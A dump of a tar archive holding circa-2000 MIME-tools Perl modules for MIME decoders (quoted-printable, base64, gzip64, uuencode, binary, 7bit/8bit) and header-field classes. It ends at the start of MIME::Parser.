Since we have to parse over the stuff I<anyway>, in the future I
I<may> allow the parser option of creating special MIME::Entity objects 
for the preamble and epilogue, with bogus MIME::Head objects.

For now, though, we're MIME-compliant, so I probably won't change
how we work.

=back


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.


=head1 VERSION

$Revision: 5.205 $ $Date: 2000/06/20 04:16:05 $

=cut

#------------------------------
1;
wm357/MIME/Decoder/ 40755    312    144           0  7245677670  12774 5ustar  webmailuserswm357/MIME/Decoder/QuotedPrint.pm100755    312    144        4374  7116726464  15711 0ustar  webmailuserspackage MIME::Decoder::QuotedPrint;


=head1 NAME

MIME::Decoder::QuotedPrint - encode/decode a "quoted-printable" stream


=head1 SYNOPSIS

A generic decoder object; see L<MIME::Decoder> for usage.


=head1 DESCRIPTION

A MIME::Decoder subclass for the C<"quoted-printable"> encoding.
The name was chosen to jibe with the pre-existing MIME::QuotedPrint
utility package, which this class actually uses to translate each line.

=over 4

=item *

The B<decoder> does a line-by-line translation from input to output.

=item *

The B<encoder> does a line-by-line translation, breaking lines
so that they fall under the standard 76-character limit for this
encoding.  

=back


B<Note:> just like MIME::QuotedPrint, we currently use the 
native C<"\n"> for line breaks, and not C<CRLF>.  This may
need to change in future versions.


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.


=head1 VERSION

$Revision: 5.202 $ $Date: 2000/06/05 13:37:56 $


=cut

use vars qw(@ISA $VERSION);
use MIME::Decoder;
use MIME::QuotedPrint 2.03;

@ISA = qw(MIME::Decoder);

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.202 $, 10;

#------------------------------
#
# encode_qp_really STRING
#
# Encode QP, and then follow guideline 8 from RFC 2049 (thanks to Denis 
# N. Antonioli) whereby we make things a little safer for the transport
# and storage of messages.  WARNING: we can only do this if the line won't
# grow beyond 76 characters!
#
sub encode_qp_really {
    my $enc = encode_qp($_[0]);
    if (length($enc) < 74) {
	$enc =~ s/^\.$/=2E/g;         # force encoding of /^\.$/
	$enc =~ s/^From /=46rom /g;   # force encoding of /^From /
    }
    $enc;
}

#------------------------------
#
# decode_it IN, OUT
#
sub decode_it {
    my ($self, $in, $out) = @_;

    while (defined($_ = $in->getline)) {
	$out->print(decode_qp($_));
    }
    1;
}

#------------------------------
#
# encode_it IN, OUT
#
sub encode_it {
    my ($self, $in, $out) = @_;

    while (defined($_ = $in->getline)) {
	$out->print(encode_qp_really($_));
    }
    1;
}

#------------------------------
1;
wm357/MIME/Decoder/Gzip64.pm100755    312    144        5362  7116726463  14513 0ustar  webmailuserspackage MIME::Decoder::Gzip64;


=head1 NAME

MIME::Decoder::Gzip64 - decode a "base64" gzip stream


=head1 SYNOPSIS

A generic decoder object; see L<MIME::Decoder> for usage.


=head1 DESCRIPTION

A MIME::Decoder::Base64 subclass for a nonstandard encoding whereby
data are gzipped, then the gzipped file is base64-encoded.
Common non-standard MIME encodings for this:

    x-gzip64

Since this class relies on external programs which may not
exist on your machine, MIME-tools does not "install" it by default.  
To use it, you need to say in your main program:

    install MIME::Decoder::Gzip64 'x-gzip64';

Note: if this class isn't working for you, you may need to change
the commands it runs.  In your main program, you can do so
by setting up the two commands which 

    use MIME::Decoder::Gzip64;
     
    $MIME::Decoder::Gzip64::GZIP   = 'gzip -c';
    $MIME::Decoder::Gzip64::GUNZIP = 'gzip -d -c';


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.


=head1 VERSION

$Revision: 5.202 $ $Date: 2000/06/05 13:37:55 $

=cut


require 5.002;
use vars qw(@ISA $VERSION $ZIP $UNZIP);
use MIME::Decoder;
use MIME::Base64;
use MIME::Decoder::Base64;
use MIME::Tools qw(tmpopen whine);
use IO::Wrap;

# Inheritance:
@ISA = qw(MIME::Decoder::Base64);

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.202 $, 10;

# How to compress stdin to stdout:
$GZIP   = "gzip -c";

# How to UNcompress stdin to stdout:
$GUNZIP = "gzip -d -c";


#------------------------------
#
# decode_it IN, OUT
#
sub decode_it {
    my ($self, $in, $out) = @_;

    # Open a temp file (assume the worst, that this is a big stream):
    my $tmp = wraphandle(tmpopen() || die "can't get temp file");

    # Stage 1: decode the base64'd stream into zipped data:
    $self->SUPER::decode_it($in, $tmp)    or die "base64 decoding failed!";
    
    # Stage 2: un-zip the zipped data:
    $tmp->seek(0, 0); 
    $self->filter($tmp, $out, $GUNZIP)    or die "gzip decoding failed!";
}

#------------------------------
#
# encode_it IN, OUT
#
sub encode_it {
    my ($self, $in, $out) = @_;
    whine "Encoding ", $self->encoding, " is not standard MIME!"; 
    
    # Open a temp file (assume the worst, that this is a big stream):
    my $tmp = wraphandle(tmpopen() || die "can't get temp file");
  
    # Stage 1: zip the raw data:
    $self->filter($in, $tmp, $GZIP)       or die "gzip encoding failed!";
    
    # Stage 2: encode the zipped data via base64:
    $tmp->seek(0, 0);    
    $self->SUPER::encode_it($tmp, $out)   or die "base64 encoding failed!";
}

#------------------------------
1;
wm357/MIME/Decoder/Binary.pm100755    312    144        3440  7120361115  14627 0ustar  webmailuserspackage MIME::Decoder::Binary;


=head1 NAME

MIME::Decoder::Binary - perform no encoding/decoding


=head1 SYNOPSIS

A generic decoder object; see L<MIME::Decoder> for usage.


=head1 DESCRIPTION

A MIME::Decoder subclass for the C<"binary"> encoding (in other words,
no encoding).  

The C<"binary"> decoder is a special case, since it's ill-advised
to read the input line-by-line: after all, an uncompressed image file might
conceivably have loooooooooong stretches of bytes without a C<"\n"> among
them, and we don't want to risk blowing out our core.  So, we 
read-and-write fixed-size chunks.

Both the B<encoder> and B<decoder> do a simple pass-through of the data
from input to output.


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.


=head1 VERSION

$Revision: 5.203 $ $Date: 2000/06/10 06:38:05 $

=cut

use MIME::Decoder;
use vars qw(@ISA $VERSION);

@ISA = qw(MIME::Decoder);

### The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.203 $, 10;

### Buffer length:
my $BUFLEN = 8192;

#------------------------------
#
# decode_it IN, OUT
#
sub decode_it {
    my ($self, $in, $out) = @_;

    my ($buf, $nread) = ('', 0);
    while ($nread = $in->read($buf, $BUFLEN)) {
	$out->print($buf);
    }
    defined($nread) or return undef;      ### check for error
    1;
}

#------------------------------
#
# encode_it IN, OUT
#
sub encode_it {
    my ($self, $in, $out) = @_;

    my ($buf, $nread) = ('', 0);
    while ($nread = $in->read($buf, $BUFLEN)) {
	$out->print($buf);
    }
    defined($nread) or return undef;      ### check for error
    1;
}

#------------------------------
1;
wm357/MIME/Decoder/Base64.pm100755    312    144        6313  7120361114  14430 0ustar  webmailuserspackage MIME::Decoder::Base64;


=head1 NAME

MIME::Decoder::Base64 - encode/decode a "base64" stream


=head1 SYNOPSIS

A generic decoder object; see L<MIME::Decoder> for usage.


=head1 DESCRIPTION

A L<MIME::Decoder> subclass for the C<"base64"> encoding.
The name was chosen to jibe with the pre-existing MIME::Base64
utility package, which this class actually uses to translate each chunk.

=over 4

=item *

When B<decoding>, the input is read one line at a time.
The input accumulates in an internal buffer, which is decoded in
multiple-of-4-sized chunks (plus a possible "leftover" input chunk,
of course).

=item *

When B<encoding>, the input is read 45 bytes at a time: this ensures
that the output lines are not too long.   We chose 45 since it is
a multiple of 3 and produces lines under 76 characters, as RFC-1521 
specifies.

=back


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.


=head1 VERSION

$Revision: 5.203 $ $Date: 2000/06/10 06:38:04 $

=cut

use vars qw(@ISA $VERSION);
use MIME::Decoder;
use MIME::Base64 2.04;    
use MIME::Tools qw(debug);

@ISA = qw(MIME::Decoder);

### The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.203 $, 10;

### How many bytes to encode at a time (must be a multiple of 3, and
### less than (76 * 0.75)!
my $EncodeChunkLength = 45;

### How many bytes to decode at a time?
my $DecodeChunkLength = 32 * 1024;

#------------------------------
#
# decode_it IN, OUT
#
sub decode_it {
    my ($self, $in, $out) = @_;
    my $len_4xN;
    
    ### Create a suitable buffer:
    my $buffer = ' ' x (120 + $DecodeChunkLength); $buffer = '';
    debug "in = $in; out = $out";

    ### Get chunks until done:
    local($_) = ' ' x $DecodeChunkLength;    
    while ($in->read($_, $DecodeChunkLength)) {
	tr{A-Za-z0-9+/}{}cd;         ### get rid of non-base64 chars

	### Concat any new input onto any leftover from the last round:
	$buffer .= $_;
	length($buffer) >= $DecodeChunkLength or next;
	
    	### Extract substring with highest multiple of 4 bytes:
	###   0 means not enough to work with... get more data!
	$len_4xN = length($buffer) & ~3; 

	### Partition into largest-multiple-of-4 (which we decode),
	### and the remainder (which gets handled next time around):
	$out->print(decode_base64(substr($buffer, 0, $len_4xN)));
	$buffer = substr($buffer, $len_4xN);
    }
    
    ### No more input remains.  Dispose of anything left in buffer:
    if (length($buffer)) {

	### Pad to 4-byte multiple, and decode:
	$buffer .= "===";            ### need no more than 3 pad chars
	$len_4xN = length($buffer) & ~3; 	

	### Decode it!
	$out->print(decode_base64(substr($buffer, 0, $len_4xN)));
    }
    1;
}

#------------------------------
#
# encode_it IN, OUT
#
sub encode_it {
    my ($self, $in, $out) = @_;
    my $encoded;

    my $nread;
    my $buf = '';
    while ($nread = $in->read($buf, $EncodeChunkLength)) {
	$encoded = encode_base64($buf);
	$encoded .= "\n" unless ($encoded =~ /\n\Z/);   ### ensure newline!
	$out->print($encoded);
    }
    1;
}

#------------------------------
1;

wm357/MIME/Decoder/UU.pm100755    312    144        5531  7120361115  13737 0ustar  webmailuserspackage MIME::Decoder::UU;


=head1 NAME

MIME::Decoder::UU - decode a "uuencoded" stream


=head1 SYNOPSIS

A generic decoder object; see L<MIME::Decoder> for usage.

Also supports a preamble() method to recover text before
the uuencoded portion of the stream.


=head1 DESCRIPTION

A MIME::Decoder subclass for a nonstandard encoding whereby
data are uuencoded.  Common non-standard MIME encodings for this:

    x-uu
    x-uuencode


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

UU-decoding code lifted from "uuexplode", a Perl script by an
unknown author...

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.


=head1 VERSION

$Revision: 5.203 $ $Date: 2000/06/10 06:38:05 $

=cut


require 5.002;
use vars qw(@ISA $VERSION);
use MIME::Decoder;
use MIME::Tools qw(whine);

@ISA = qw(MIME::Decoder);

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.203 $, 10;


#------------------------------
#
# decode_it IN, OUT
#
sub decode_it {
    my ($self, $in, $out) = @_;
    my ($mode, $file);
    my @preamble;
    local $_;

    ### Init:
    $self->{MDU_Preamble} = \@preamble;
    $self->{MDU_Mode} = undef;
    $self->{MDU_File} = undef;

    ### Find beginning...
    while (defined($_ = $in->getline)) {
	last if ($mode, $file) = /^begin\s*(\d*)\s*(\S*)/; 
	push @preamble, $_;
    }
    die("uu decoding: no begin found\n") if !defined($_);      # hit eof!

    ### Store info:
    $self->{MDU_Mode} = $mode;
    $self->{MDU_File} = $file;

    ### Decode:
    while (defined($_ = $in->getline)) {
	last if /^end/;
	next if /[a-z]/;
	next unless int((((ord() - 32) & 077) + 2) / 3) == int(length() / 4);
	$out->print(unpack('u', $_));
    }
    ### chmod oct($mode), $file;    # sheeyeah... right...
    whine "file incomplete, no end found\n" if !defined($_); # eof
    1;
}

#------------------------------
#
# encode_it IN, OUT
#
sub encode_it {
    my ($self, $in, $out) = @_;
    my $buf = '';

    my $fname = (($self->head && 
		  $self->head->mime_attr('content-disposition.filename')) ||
		 '');
    $out->print("begin 644 $fname\n");
    while ($in->read($buf, 45)) { $out->print(pack('u', $buf)) }
    $out->print("end\n");
    1;
}

#------------------------------
#
# last_preamble
#
# Return the last preamble as ref to array of lines.
# Gets reset by decode_it().
#
sub last_preamble {
    my $self = shift;
    return $self->{MDU_Preamble} || [];
}

#------------------------------
#
# last_mode
#
# Return the last mode.
# Gets reset to undef by decode_it().
#
sub last_mode {
    shift->{MDU_Mode};
}

#------------------------------
#
# last_filename
#
# Return the last filename.
# Gets reset by decode_it().
#
sub last_filename {
    shift->{MDU_File} || [];
}

#------------------------------
1;
wm357/MIME/Decoder/NBit.pm100755    312    144       10723  7120361115  14261 0ustar  webmailuserspackage MIME::Decoder::NBit;


=head1 NAME

MIME::Decoder::NBit - encode/decode a "7bit" or "8bit" stream


=head1 SYNOPSIS

A generic decoder object; see L<MIME::Decoder> for usage.


=head1 DESCRIPTION

This is a MIME::Decoder subclass for the C<7bit> and C<8bit> content
transfer encodings.  These are not "encodings" per se: rather, they
are simply assertions of the content of the message.
From RFC-2045 Section 6.2.:

   Three transformations are currently defined: identity, the "quoted-
   printable" encoding, and the "base64" encoding.  The domains are
   "binary", "8bit" and "7bit".

   The Content-Transfer-Encoding values "7bit", "8bit", and "binary" all
   mean that the identity (i.e. NO) encoding transformation has been
   performed.  As such, they serve simply as indicators of the domain of
   the body data, and provide useful information about the sort of
   encoding that might be needed for transmission in a given transport
   system.  

In keeping with this: as of MIME-tools 4.x, 
I<this class does no modification of its input when encoding;> 
all it does is attempt to I<detect violations> of the 7bit/8bit assertion, 
and issue a warning (one per message) if any are found.


=head2 Legal 7bit data

RFC-2045 Section 2.7 defines legal C<7bit> data:

   "7bit data" refers to data that is all represented as relatively
   short lines with 998 octets or less between CRLF line separation
   sequences [RFC-821].  No octets with decimal values greater than 127
   are allowed and neither are NULs (octets with decimal value 0).  CR
   (decimal value 13) and LF (decimal value 10) octets only occur as
   part of CRLF line separation sequences.


=head2 Legal 8bit data

RFC-2045 Section 2.8 defines legal C<8bit> data:

   "8bit data" refers to data that is all represented as relatively
   short lines with 998 octets or less between CRLF line separation
   sequences [RFC-821]), but octets with decimal values greater than 127
   may be used.  As with "7bit data" CR and LF octets only occur as part
   of CRLF line separation sequences and no NULs are allowed.


=head2 How decoding is done

The B<decoder> does a line-by-line pass-through from input to output,
leaving the data unchanged I<except> that an end-of-line sequence of
CRLF is converted to a newline "\n".  Given the line-oriented nature
of 7bit and 8bit, this seems relatively sensible.


=head2 How encoding is done

The B<encoder> does a line-by-line pass-through from input to output,
and simply attempts to I<detect> violations of the C<7bit>/C<8bit>
domain.  The default action is to warn once per encoding if violations
are detected; the warnings may be silenced with the QUIET configuration
of L<MIME::Tools>.


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

All rights reserved.  This program is free software; you can redistribute 
it and/or modify it under the same terms as Perl itself.


=head1 VERSION

$Revision: 5.203 $ $Date: 2000/06/10 06:38:05 $


=cut

use vars qw(@ISA $VERSION);

use MIME::Decoder;
use MIME::Tools qw(:msgs);

@ISA = qw(MIME::Decoder);

### The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.203 $, 10;

### How many bytes to decode at a time?
my $DecodeChunkLength = 8 * 1024;

#------------------------------
#
# decode_it IN, OUT
#
sub decode_it {
    my ($self, $in, $out) = @_;
    my $and_also;

    ### Allocate a buffer suitable for a chunk and a line:
    local $_ = (' ' x ($DecodeChunkLength + 1024)); $_ = '';

    ### Get chunks until done:
    while ($in->read($_, $DecodeChunkLength)) {
	$and_also = $in->getline;
	$_ .= $and_also if defined($and_also);
	
	### Just got a chunk ending in a line.
	s/\015\012$/\n/g;
	$out->print($_);
    }
    1;
}

#------------------------------
#
# encode_it IN, OUT
#
sub encode_it {
    my ($self, $in, $out) = @_;
    my $saw_8bit = 0;    ### warn them ONCE PER ENCODING if 8-bit data exists
    my $saw_long = 0;    ### warn them ONCE PER ENCODING if long lines exist
    my $seven_bit = ($self->encoding eq '7bit');      ### 7bit?

    my $line;
    while (defined($line = $in->getline)) {

	### Whine if encoding is 7bit and it has 8-bit data:
	if ($seven_bit && ($line =~ /[\200-\377]/)) { ### oops! saw 8-bit data!
	    whine "saw 8-bit data while encoding 7bit" unless $saw_8bit++;
	}

	### Whine if long lines detected:
	if (length($line) > 998) {
	    whine "saw long line while encoding 7bit/8bit" unless $saw_long++;
	}

	### Output!
	$out->print($line);
    }
    1;
}

1;


wm357/MIME/Field/ 40755    312    144           0  7245677670  12452 5ustar  webmailuserswm357/MIME/Field/ParamVal.pm100755    312    144       15500  7116726464  14625 0ustar  webmailuserspackage MIME::Field::ParamVal;


=head1 NAME

MIME::Field::ParamVal - subclass of Mail::Field, for structured MIME fields


=head1 SYNOPSIS

    # Create an object for a content-type field:
    $field = new Mail::Field 'Content-type'; 
     
    # Set some attributes:
    $field->param('_'        => 'text/html');
    $field->param('charset'  => 'us-ascii');
    $field->param('boundary' => '---ABC---');
     
    # Same:
    $field->set('_'        => 'text/html',
		'charset'  => 'us-ascii',
		'boundary' => '---ABC---');
      
    # Get an attribute, or undefined if not present:
    print "no id!"  if defined($field->param('id'));
     
    # Same, but use empty string for missing values:
    print "no id!"  if ($field->paramstr('id') eq '');
                    
    # Output as string:
    print $field->stringify, "\n";


=head1 DESCRIPTION

This is an abstract superclass of most MIME fields.  It handles 
fields with a general syntax like this:

    Content-Type: Message/Partial;
        number=2; total=3;
        id="oc=jpbe0M2Yt4s@thumper.bellcore.com"

Comments are supported I<between> items, like this:

    Content-Type: Message/Partial; (a comment)
        number=2  (another comment) ; (yet another comment) total=3;
        id="oc=jpbe0M2Yt4s@thumper.bellcore.com"


=head1 PUBLIC INTERFACE

=over 4

=cut

#------------------------------

require 5.001;

# Pragmas:
use strict;
use vars qw($VERSION @ISA);

# System modules:
use Carp;

# Other modules:
use Mail::Field;

# Kit modules:
use MIME::Tools qw(:config :msgs);

@ISA = qw(Mail::Field);


#------------------------------
#
# Public globals...
#
#------------------------------

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.202 $, 10;


#------------------------------
#
# Private globals...
#
#------------------------------

# Pattern to match parameter names (like fieldnames, but = not allowed):
my $PARAMNAME = '[^\x00-\x1f\x80-\xff :=]+';

# Pattern to match the first value on the line:
my $FIRST    = '[^\s\;\x00-\x1f\x80-\xff]+';

# Pattern to match an RFC-1521 token:
#
#      token      =  1*<any  (ASCII) CHAR except SPACE, CTLs, or tspecials>
#
my $TSPECIAL = '()<>@,;:\</[]?="';
my $TOKEN    = '[^ \x00-\x1f\x80-\xff' . "\Q$TSPECIAL\E" . ']+';

# Pattern to match spaces or comments:
my $SPCZ     = '(?:\s|\([^\)]*\))*';


#------------------------------
#
# Class init...
#
#------------------------------

#------------------------------

=item set [\%PARAMHASH | KEY=>VAL,...,KEY=>VAL]

I<Instance method.>  Set this field.
The paramhash should contain parameter names
in I<all lowercase>, with the special C<"_"> parameter name
signifying the "default" (unnamed) parameter for the field:

   # Set up to be...
   #
   #     Content-type: Message/Partial; number=2; total=3; id="ocj=pbe0M2"
   #
   $conttype->set('_'       => 'Message/Partial',
		  'number'  => 2,
		  'total'   => 3,
		  'id'      => "ocj=pbe0M2");

Note that a single argument is taken to be a I<reference> to 
a paramhash, while multiple args are taken to be the elements
of the paramhash themselves.

Supplying undef for a hashref, or an empty set of values, effectively
clears the object.

The self object is returned.

=cut

sub set {
    my $self = shift;
    my $params = ((@_ == 1) ? (shift || {}) : {@_});
    %$self = %$params;    # set 'em
    $self;
}

#------------------------------

=item parse_params STRING

I<Class/instance utility method.>
Extract parameter info from a structured field, and return
it as a hash reference.  For example, here is a field with parameters:

    Content-Type: Message/Partial;
        number=2; total=3;
        id="oc=jpbe0M2Yt4s@thumper.bellcore.com"

Here is how you'd extract them:

    $params = $class->parse_params('content-type');
    if ($$params{'_'} eq 'message/partial') {
        $number = $$params{'number'};
        $total  = $$params{'total'};
        $id     = $$params{'id'};
    }

Like field names, parameter names are coerced to lowercase.
The special '_' parameter means the default parameter for the
field.

B<NOTE:> This has been provided as a public method to support backwards
compatibility, but you probably shouldn't use it.

=cut

sub parse_params {
    my ($self, $raw) = @_;
    my %params = ();
    my $param;

    # Get raw field, and unfold it:
    defined($raw) or $raw = '';
    $raw =~ s/\n//g;

    # Extract special first parameter:
    $raw =~ m/\A$SPCZ($FIRST)$SPCZ/og or return {};    # nada!
    $params{'_'} = $1;

    # Extract subsequent parameters.
    # No, we can't just "split" on semicolons: they're legal in quoted strings!
    while (1) {                     # keep chopping away until done...
	$raw =~ m/$SPCZ\;$SPCZ/og or last;             # skip leading separator
	$raw =~ m/($PARAMNAME)\s*=\s*/og or last;      # give up if not a param
	$param = lc($1);
	$raw =~ m/(\"([^\"]+)\")|($TOKEN)/g or last;   # give up if no value
	$params{$param} = defined($1) ? $2 : $3;
	# debug "   field param <$param> = <$params{$param}>";
    }

    # Done:
    \%params;
}

#------------------------------

=item parse STRING

I<Class/instance method.>
Parse the string into the instance.  Any previous information is wiped.
The self object is returned.

May also be used as a constructor.

=cut

sub parse {
    my ($self, $string) = @_;

    # Allow use as constructor, for MIME::Head:
    ref($self) or $self = bless({}, $self);
    
    # Get params, and stuff them into the self object:
    $self->set($self->parse_params($string));
}

#------------------------------

=item param PARAMNAME,[VALUE]

I<Instance method.>
Return the given parameter, or undef if it isn't there.
With argument, set the parameter to that VALUE.
The PARAMNAME is case-insensitive.  A "_" refers to the "default" parameter.

=cut

sub param {
    my ($self, $paramname, $value) = @_;
    $paramname = lc($paramname);
    $self->{$paramname} = $value if (@_ > 2);
    $self->{$paramname}
}

#------------------------------

=item paramstr PARAMNAME,[VALUE]

I<Instance method.>
Like param(): return the given parameter, or I<empty> if it isn't there.
With argument, set the parameter to that VALUE.
The PARAMNAME is case-insensitive.  A "_" refers to the "default" parameter.

=cut

sub paramstr {
    my $val = shift->param(@_);
    (defined($val) ? $val : '');
}

#------------------------------

=item stringify

I<Instance method.>
Convert the field to a string, and return it.

=cut

sub stringify {
    my $self = shift;
    my ($key, $val);

    my $str = $self->{'_'};                   # default subfield
    foreach $key (sort keys %$self) {
	next if ($key !~ /^[a-z][a-z-_0-9]*$/);  # only lowercase ones!
	defined($val = $self->{$key}) or next;
	$str .= qq{; $key="$val"};
    }
    $str;
}

#------------------------------

=item tag

I<Instance method, abstract.>
Return the tag for this field.

=cut

sub tag { '' }

=back

=cut

#------------------------------
1;
wm357/MIME/Field/ContType.pm100755    312    144       11525  7116726464  14672 0ustar  webmailuserspackage MIME::Field::ContType;


=head1 NAME

MIME::Field::ContType - a "Content-type" field


=head1 DESCRIPTION

A subclass of Mail::Field.

I<Don't use this class directly... its name may change in the future!>
Instead, ask Mail::Field for new instances based on the field name!


=head1 SYNOPSIS

    use Mail::Field;
    use MIME::Head;
    
    # Create an instance from some text:
    $field = Mail::Field->new('Content-type', 
                              'text/HTML; charset="US-ASCII"');
    
    # Get the MIME type, like 'text/plain' or 'x-foobar'.
    # Returns 'text/plain' as default, as per RFC-1521:
    my ($type, $subtype) = split('/', $field->type);

    # Get generic information:
    print $field->name;
    
    # Get information related to "message" type:
    if ($type eq 'message') {
	print $field->id;
	print $field->number;
	print $field->total;
    }
    
    # Get information related to "multipart" type:
    if ($type eq 'multipart') {
	print $field->boundary;            # the basic value, fixed up
	print $field->multipart_boundary;  # empty if not a multipart message!
    }
    
    # Get information related to "text" type:
    if ($type eq 'text') {
	print $field->charset;      # returns 'us-ascii' as default
    }     


=head1 PUBLIC INTERFACE

=over 4

=cut

require 5.001;
use strict;
use MIME::Field::ParamVal;
use vars qw($VERSION @ISA);

@ISA = qw(MIME::Field::ParamVal);

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.202 $, 10;

# Install it: 
bless([])->register('Content-type');

# Pattern to match an RFC-1521 token.
# NOTE: should just use the REs in MIME::Field::ParamVal!
#
#      token      =  1*<any  (ASCII) CHAR except SPACE, CTLs, or tspecials>
#
my $TSPECIAL = '()<>@,;:\</[]?="';
my $TOKEN    = '[^ \x00-\x1f\x80-\xff' . "\Q$TSPECIAL\E" . ']+';



#------------------------------
#
# Basic access/storage methods...
#
sub charset {
    lc(shift->paramstr('charset', @_)) || 'us-ascii';   # RFC-1521
}
sub id {
    shift->paramstr('id', @_);
}
sub name {
    shift->paramstr('name', @_);
}
sub number {
    shift->paramstr('number', @_);
}
sub total {
    shift->paramstr('total', @_);
}


#------------------------------

=item boundary

Return the boundary field.  The boundary is returned exactly 
as given in the C<Content-type:> field; that is, the leading 
double-hyphen (C<-->) is I<not> prepended.

(Well, I<almost> exactly... from RFC-1521:

   (If a boundary appears to end with white space, the white space 
   must be presumed to have been added by a gateway, and must be deleted.)  

so we oblige and remove any trailing spaces.)

Returns the empty string if there is no boundary, or if the boundary is
illegal (e.g., if it is empty after all trailing whitespace has been
removed).

=cut

sub boundary {
    my $value = shift->param('boundary', @_);    
    defined($value) || return '';
    $value =~ s/\s+$//;                  # kill trailing white, per RFC-1521
    $value;
}

#------------------------------

=item multipart_boundary

Like C<boundary()>, except that this will also return the empty
string if the message is not a multipart message.  In other words,
there's an automatic sanity check.

=cut

sub multipart_boundary {
    my $self = shift;
    my ($type) = split('/', $self->type);
    return '' if ($type ne 'multipart');    # not multipart!
    $self->boundary;                        # okay, return the boundary
}

#------------------------------

=item type

Try real hard to determine the content type (e.g., C<"text/plain">,
C<"image/gif">, C<"x-weird-type">, which is returned 
in all-lowercase.  

A happy thing: the following code will work just as you would want,
even if there's no subtype (as in C<"x-weird-type">)... in such a case,
the $subtype would simply be the empty string:

    ($type, $subtype) = split('/', $head->mime_type);

If the content-type information is missing, it defaults to C<"text/plain">, 
as per RFC-1521:

    Default RFC-822 messages are typed by this protocol as plain text in
    the US-ASCII character set, which can be explicitly specified as
    "Content-type: text/plain; charset=us-ascii".  If no Content-Type is
    specified, this default is assumed.  

B<Note:> under the "be liberal in what we accept" principle, this routine
no longer syntax-checks the content type.  If it ain't empty,
just downcase and return it.

=cut

sub type {
    lc(shift->paramstr('_', @_)) || 'text/plain';  # RFC-1521
}

#------------------------------

=back


=head1 NOTES

Since nearly all (if not all) parameters must have non-empty values
to be considered valid, we just return the empty string to signify 
missing fields.  If you need to get the I<real> underlying value,
use the inherited C<param()> method (which returns undef if the 
parameter is missing).


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

=cut

1;



wm357/MIME/Field/ConTraEnc.pm100755    312    144        2357  7116726464  14724 0ustar  webmailuserspackage MIME::Field::ConTraEnc;


=head1 NAME

MIME::Field::ConTraEnc - a "Content-transfer-encoding" field


=head1 DESCRIPTION

A subclass of Mail::Field.  

I<Don't use this class directly... its name may change in the future!>
Instead, ask Mail::Field for new instances based on the field name!


=head1 SYNOPSIS

    use Mail::Field;
    use MIME::Head;
    
    # Create an instance from some text:
    $field = Mail::Field->new('Content-transfer-encoding', '7bit');
    
    # Get the encoding.
    #    Possible values: 'binary', '7bit', '8bit', 'quoted-printable', 
    #    'base64' and '' (unspecified).  Note that there can't be a 
    #    single default for this, since it depends on the content type!
    $encoding = $field->encoding;


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).

=cut

require 5.001;
use strict;
use MIME::Field::ParamVal;
use vars qw($VERSION @ISA);

@ISA = qw(MIME::Field::ParamVal);

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.202 $, 10;

# Install it: 
bless([])->register('Content-transfer-encoding');

#------------------------------

sub encoding {
    shift->paramstr('_', @_);
}

#------------------------------
1;

wm357/MIME/Field/ContDisp.pm100755    312    144        2173  7116726464  14627 0ustar  webmailuserspackage MIME::Field::ContDisp;


=head1 NAME

MIME::Field::ContDisp - a "Content-disposition" field


=head1 DESCRIPTION

A subclass of Mail::Field.  

I<Don't use this class directly... its name may change in the future!>
Instead, ask Mail::Field for new instances based on the field name!


=head1 SYNOPSIS

    use Mail::Field;
    use MIME::Head;
    
    # Create an instance from some text:
    $field = Mail::Field->new('Content-disposition', $text);
    
    # Inline or attachment?
    $type = $field->type;    
    
    # Recommended filename?
    $filename = $field->filename;


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).


=cut

require 5.001;
use strict;
use MIME::Field::ParamVal;
use vars qw($VERSION @ISA);

@ISA = qw(MIME::Field::ParamVal);

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.202 $, 10;

# Install it: 
bless([])->register('Content-disposition');

#------------------------------

sub filename {
    shift->paramstr('filename', @_);
}

sub type {
    shift->paramstr('_', @_);
}

#------------------------------
1;

wm357/MIME/Parser.pm100755    312    144      153001  7125053007  13334 0ustar  webmailuserspackage MIME::Parser;


=head1 NAME

MIME::Parser - experimental class for parsing MIME streams


=head1 SYNOPSIS

=head2 Basic usage examples

    ### Create a new parser object:
    my $parser = new MIME::Parser;
     
    ### Tell it where to put things:
    $parser->output_under("/tmp");
     
    ### Parse an input filehandle:
    $entity = $parser->parse(\*STDIN);
    
    ### Congratulations: you now have a (possibly multipart) MIME entity!
    $entity->dump_skeleton;          # for debugging 


=head2 Examples of input

    ### Parse from filehandles:
